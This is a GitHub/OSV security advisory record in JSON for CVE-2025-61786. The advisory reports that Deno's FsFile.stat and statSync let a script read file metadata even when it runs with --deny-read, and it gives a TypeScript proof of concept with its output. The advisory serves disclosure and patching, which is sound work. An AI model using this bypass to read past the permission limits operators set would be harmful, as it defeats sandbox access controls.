CVE-2025-61786: Deno Deno's --deny-read Check Does Not Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qq26-84mh-26j9",
  "modified" : "2025-10-08T17:56:40Z",
  "published" : "2025-10-08T17:56:40Z",
  "aliases" : [ "CVE-2025-61786" ],
  "summary" : "Deno's --deny-read check does not prevent permission bypass",
  "details" : "### Summary \n\n`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.\n\nIt's possible to retrieve stats from files that the user do not have explicit read access to  (the script is executed with `--deny-read=./`)\n\nSimilar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test1.txt\n```\n\n- `poc_file.stat.ts`\n```ts\n// touch test1.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1\n// deno run --allow-write=./ poc_file.stat.ts 1\nasync function poc1(){\n    using file = await Deno.open(\"./test1.txt\", { read: false, write: true});\n    const fileInfo = await file.stat();\n    console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2\n// deno run --allow-write=./ poc_file.stat.ts 2\nfunction poc2(){\n    using file = Deno.openSync(\"./test1.txt\", { read: false, write: true});\n    const fileInfo = file.statSync();\n    console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.stat\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3\n// deno run --allow-write=./ poc_file.stat.ts 3\nasync function poc3(){\n    // not executed\n    const fileInfo = await Deno.stat(\"./test1.txt\");\n    console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.statSync\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4\n// deno run --allow-write=./ poc_file.stat.ts 4\nfunction poc4(){\n    // not executed\n    const fileInfo = Deno.statSync(\"./test1.txt\");\n    console.log(fileInfo.isFile);\n}\n\n\nasync function main(){\n    const poc = Deno.args[0] || 1;\n\n    const status = await Deno.permissions.query({ name: \"read\", path: \"./\" });\n    console.log(status);\n    switch (poc) {\n        case \"1\":\n            poc1()\n            break;\n        case \"2\":\n            poc2()\n            break;\n        case \"3\":\n            poc3()\n            break;\n        case \"4\":\n            poc4()\n            break;\n        default:\n            poc1()\n    }\n}\n\nmain()\n```\n\n\nOutput:\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1`\n```\nPermissionStatus { state: \"denied\", onchange: null }\ntrue\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2`\n```\nPermissionStatus { state: \"denied\", onchange: null }\ntrue\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires read access to \"./test1.txt\", run again with the --allow-read flag\n    const fileInfo = await Deno.stat(\"./test1.txt\");\n                                ^\n    ...\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires read access to \"./test1.txt\", run again with the --allow-read flag\n    const fileInfo = Deno.statSync(\"./test1.txt\");\n                          ^\n    ...\n```\n\n\n### Impact\n\nPermission model bypass",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "deno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.5.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-61786"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/pull/30876"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/denoland/deno"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/releases/tag/v2.2.15"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/releases/tag/v2.5.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-08T17:56:40Z",
    "nvd_published_at" : "2025-10-08T01:15:33Z"
  }
}